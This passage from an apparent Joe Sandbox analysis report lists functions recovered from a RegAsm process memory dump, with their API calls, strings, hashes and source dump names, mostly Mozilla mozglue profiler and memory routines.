String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 9324e62dece960d2490d874f64007249107d7a9f1e92cbd2ac88fad31ac84f05
Instruction ID: 0d1f7d30113175e48c008f9823ff459383209b486944bb581d9d8af081d69c90
Opcode Fuzzy Hash: 9324e62dece960d2490d874f64007249107d7a9f1e92cbd2ac88fad31ac84f05
Instruction Fuzzy Hash: CA510171A047018FD714CF69C2D021AB7F1EB89744FA44A2EE59AD7F84EB70E821CB85

Function 6CC84630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC84721

Strings

-%llu, xrefs: 6CC84733
., xrefs: 6CC8476A
profiler-paused, xrefs: 6CC846E4

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: e50acc06b729fa1e0b1f2cc62a80a174153e63e6c25daee0ddadc92d981462c8
Instruction ID: ac55f1f030cb56c0be428795b31f8d0d60ac0c4f57ef4aaeee18c4939347482d
Opcode Fuzzy Hash: e50acc06b729fa1e0b1f2cc62a80a174153e63e6c25daee0ddadc92d981462c8
Instruction Fuzzy Hash: 28414771A056089FCB08DFB9E8A115FBBF9AF85748F11863EE845ABB41FB309805C741

Function 6CCA9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CCA985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CCA987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CCA98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CCA98D9

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: ea83a8ddd7f29d2339ae01e4f3e1613e2749a6116391e8ee59b03d2a37edb080
Instruction ID: 006b3613d92437f6893f089e862bf9485d2b8e81337ec4b2c1f8080ea5bedf93
Opcode Fuzzy Hash: ea83a8ddd7f29d2339ae01e4f3e1613e2749a6116391e8ee59b03d2a37edb080
Instruction Fuzzy Hash: 2A313875B001086FDF04AF99D8545EF77B8DF89714F40442DEA0AABB40EB315905CBD1

Function 6CC846E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC84721

Part of subcall function 6CC34410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CC73EBD,00000017,?,00000000,?,6CC73EBD,?,?,6CC342D2), ref: 6CC34444

Strings

-%llu, xrefs: 6CC84733
., xrefs: 6CC8476A
profiler-paused, xrefs: 6CC846E4

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: d1d6f89a7f23acc32b07ea59fd43b6308102e64b718f859a58da51ce8f91eece
Instruction ID: 5e48483350d0f2db4af953b6ae2c810f674d78901716a2086dd20c3926066b26
Opcode Fuzzy Hash: d1d6f89a7f23acc32b07ea59fd43b6308102e64b718f859a58da51ce8f91eece
Instruction Fuzzy Hash: 8E310A71F052185BCB08CFADD8A569E7FE69B89318F15453EE8059BB41F7749804CB50

Function 6CC8B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC73EBD,6CC73EBD,00000000), ref: 6CC342A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC8B127), ref: 6CC8B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC8B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CC8B4E4

Strings

pid:, xrefs: 6CC8B4DE

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 578de043bc189f953e9b011d4b93cfa6e2a7c9c8b97ac8c6192858bebd1afd38
Instruction ID: 57451e8c32362852b8634e5dfd6271a92c7e209f7e3058e80370728dfe1efed8
Opcode Fuzzy Hash: 578de043bc189f953e9b011d4b93cfa6e2a7c9c8b97ac8c6192858bebd1afd38
Instruction Fuzzy Hash: 7231F231A026089BDB00DFA9DC91AAFBBB5FF8531CF540529D81167F41E732A849CBA1

Function 6CC3F100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6CCAD020), ref: 6CC3F122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CC3F132

Strings

shell32, xrefs: 6CC3F11D
SHGetKnownFolderPath, xrefs: 6CC3F12C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 70fa9484117cb51a45423cebe4f3591ace7049156651dc0df6a9f63a18cbef9e
Instruction ID: 6884462eeae60bd6aa0a094928c0da316285fe0a0cec9e206e9f41e362a64d41
Opcode Fuzzy Hash: 70fa9484117cb51a45423cebe4f3591ace7049156651dc0df6a9f63a18cbef9e
Instruction Fuzzy Hash: 6A0171757002299FCB00CFB5ED98A5B7BB8FF4A654B400428F84DE7740E730AA04CBA0

Function 6CC7E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC7E577
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7E584
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC7E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CC7E655
MOZ_PROFILER_STARTUP, xrefs: 6CC7E5A1, 6CC7E5CC, 6CC7E5FF, 6CC7E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CC7E722, 6CC7E750, 6CC7E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CC7E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CC7E826, 6CC7E850

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f6009b2a5954c8774ac28983fc51b33b247420d649fbd0d0696e22931075282e
Instruction ID: 577bab60484d38b7f04b2a318214369104046de84ddfa8fd9d6983a66c206d8f
Opcode Fuzzy Hash: f6009b2a5954c8774ac28983fc51b33b247420d649fbd0d0696e22931075282e
Instruction Fuzzy Hash: DD11A13AA04258DFCB109F98C488A5AFBB4FB89728F01051DF84557B50E774A805CFA9

Function 6CC42272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CC4237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CC42B9C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: dff4a001a7364da424bca914f656007289be280d92b3d128fb5c7eb14914976f
Instruction ID: c5d3ef6837749f8ee9d1c42e88c2e5d2555cfc8a258bbae81822480eee0e25ab
Opcode Fuzzy Hash: dff4a001a7364da424bca914f656007289be280d92b3d128fb5c7eb14914976f
Instruction Fuzzy Hash: 96E17F71A002069FDB18CF59C8A5B9EBBB2FF88314F19C168E9059B705E771EC85CB90

Function 6CC80C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC80CD5

Part of subcall function 6CC6F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC6F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC80D40
free.MOZGLUE ref: 6CC80DCB

Part of subcall function 6CC55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC55EDB
Part of subcall function 6CC55E90: memset.VCRUNTIME140(6CC97765,000000E5,55CCCCCC), ref: 6CC55F27
Part of subcall function 6CC55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC55FB2

free.MOZGLUE ref: 6CC80DDD
free.MOZGLUE ref: 6CC80DF2

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 52e6067700eda5f2aa6d35be30d7c2f8a70680f54f450037c0986779ab37e4d1
Instruction ID: 1e4f297e14a28ca1f40f06ba4412f32bc7906c2847d014c800c1c5831b5ae8d6
Opcode Fuzzy Hash: 52e6067700eda5f2aa6d35be30d7c2f8a70680f54f450037c0986779ab37e4d1
Instruction Fuzzy Hash: A3411A71A0A7848BD320CF29C08079BFBE5BFC5758F518A2EE8D887751E770A445CB82

Function 6CC89120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CC88242,?,00000000,?,6CC7B63F), ref: 6CC89188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CC88242,?,00000000,?,6CC7B63F), ref: 6CC891BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6CC88242,?,00000000,?,6CC7B63F), ref: 6CC891EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CC88242,?,00000000,?,6CC7B63F), ref: 6CC89200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CC88242,?,00000000,?,6CC7B63F), ref: 6CC89219

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 46d658c4b1401590674064279a9e234a3f272a1e83916575f426acd31b50fcc0
Instruction ID: 8b41134abba98de3cf885b5e4cfe73071342bdde8114cefd964a6e3430bd0adb
Opcode Fuzzy Hash: 46d658c4b1401590674064279a9e234a3f272a1e83916575f426acd31b50fcc0
Instruction Fuzzy Hash: FF310031A026058BEB00DFA8DC4476BBBB9EB81319F514629D856D7650FB31E805CBA1

Function 6CC70800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC70838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CC7084C
EnterCriticalSection.KERNEL32(?), ref: 6CC708AF
LeaveCriticalSection.KERNEL32(?), ref: 6CC708BD
LeaveCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC708D5

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: b008cfe4aa988087f58539c963e756330ae642052d592b022067e3c10c3a95fb
Instruction ID: 39ae6008f9ed7643583171aabc7496a9dcfe919a6608b4cbc146cc0712fa0887
Opcode Fuzzy Hash: b008cfe4aa988087f58539c963e756330ae642052d592b022067e3c10c3a95fb
Instruction Fuzzy Hash: FB21D3307002498BDF148FA5D899BAA73B9FF44708F50056CE509E7B41EF36A404CBE4

Function 6CC8CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CC7DA31,00100000,?,?,00000000,?), ref: 6CC8CDA4

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

Part of subcall function 6CC8D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CC8CDBA,00100000,?,00000000,?,6CC7DA31,00100000,?,?,00000000,?), ref: 6CC8D158
Part of subcall function 6CC8D130: InitializeConditionVariable.KERNEL32(00000098,?,6CC8CDBA,00100000,?,00000000,?,6CC7DA31,00100000,?,?,00000000,?), ref: 6CC8D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CC7DA31,00100000,?,?,00000000,?), ref: 6CC8CDC4

Part of subcall function 6CC87480: ReleaseSRWLockExclusive.KERNEL32(?,6CC915FC,?,?,?,?,6CC915FC,?), ref: 6CC874EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CC7DA31,00100000,?,?,00000000,?), ref: 6CC8CECC

Part of subcall function 6CC4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CC4CAA2

Part of subcall function 6CC7CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CC8CEEA,?,?,?,?,00000000,?,6CC7DA31,00100000,?,?,00000000), ref: 6CC7CB57
Part of subcall function 6CC7CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CC7CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CC8CEEA,?,?), ref: 6CC7CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CC7DA31,00100000,?,?,00000000,?), ref: 6CC8D058

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 8c6d7a02d2532c262ac8904df474afb1b115183d4ed9a3890b872f5202e081f8
Instruction ID: a4b3047f5ab0d4354d2a3f650595aede65e562d1021fb61ae604fd739148466b
Opcode Fuzzy Hash: 8c6d7a02d2532c262ac8904df474afb1b115183d4ed9a3890b872f5202e081f8
Instruction Fuzzy Hash: 51D16071A05B469FD708CF28C480B9AFBF1BF89308F01876DD95987711EB71A9A5CB81

Function 6CC41720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CC417B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CC418EE
free.MOZGLUE(?), ref: 6CC41911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC4194C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 2d7263d7b430020b566c70d1ccaee9983a2c6cb00b4793a4f34d58ee3864294d
Instruction ID: d1815c987ecd806101ffba3002799b50403689a775dde8e368535f40b8862961
Opcode Fuzzy Hash: 2d7263d7b430020b566c70d1ccaee9983a2c6cb00b4793a4f34d58ee3864294d
Instruction Fuzzy Hash: B581B070A112159FCB08CF6CD8949AEBBB1FF89314F04C52CE895AB750E730E864CBA1

Function 6CC55C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CC55D40
EnterCriticalSection.KERNEL32(6CCBF688), ref: 6CC55D67
__aulldiv.LIBCMT ref: 6CC55DB4
LeaveCriticalSection.KERNEL32(6CCBF688), ref: 6CC55DED

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fb93f8d1316a3be3696b68c7e631e39ab7f3b5c78c70a48caf83f2e50a23beb1
Instruction ID: ca4236de6147bb88d128acd82141a990248519c5041f7350cf996e8fa2e56c25
Opcode Fuzzy Hash: fb93f8d1316a3be3696b68c7e631e39ab7f3b5c78c70a48caf83f2e50a23beb1
Instruction Fuzzy Hash: 2951907AE0011A8FCF08CFACC994AAEBBB1FF85304F19865DD811A7750D731A955CB94

Function 6CC97170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CC97250
EnterCriticalSection.KERNEL32(6CCBF688), ref: 6CC97277
__aulldiv.LIBCMT ref: 6CC972C4
LeaveCriticalSection.KERNEL32(6CCBF688), ref: 6CC972F7

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1a6420035a5884c86aa7046053938f155220aa1ccc689d63c4a72ea2b452f717
Instruction ID: 6faf68478f81235f56aabc54f3e674c8ca6dafe71187bc28cd5056258af30321
Opcode Fuzzy Hash: 1a6420035a5884c86aa7046053938f155220aa1ccc689d63c4a72ea2b452f717
Instruction Fuzzy Hash: FF516D79E0112ACFCF08CFA8C895AAEBBB1FB89304F15861DDC15A7750D730A945CB95

Function 6CC3CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CC3CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CC3CF4E

Strings

0, xrefs: 6CC3CF30

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 346e7f0041a2f42a33e9390969aef2173515be73669baf3dd8def197db56d1dd
Instruction ID: 8ac224a142176f0fe784745d2793a67879c34ea292a3693b6c4ec1a3e5824e3b
Opcode Fuzzy Hash: 346e7f0041a2f42a33e9390969aef2173515be73669baf3dd8def197db56d1dd
Instruction Fuzzy Hash: 90511575A002668FCB00CF19D890A9AB7B5FF99304F19869DD8595F391E731ED06CBE0

Function 6CC977D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC977FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CC97829

Part of subcall function 6CC6CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CC331A7), ref: 6CC6CC45
Part of subcall function 6CC6CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CC331A7), ref: 6CC6CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CC9789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CC978CF

Part of subcall function 6CC34DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC34E5A
Part of subcall function 6CC34DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CC34E97

Part of subcall function 6CC34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC73EBD,6CC73EBD,00000000), ref: 6CC342A9

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

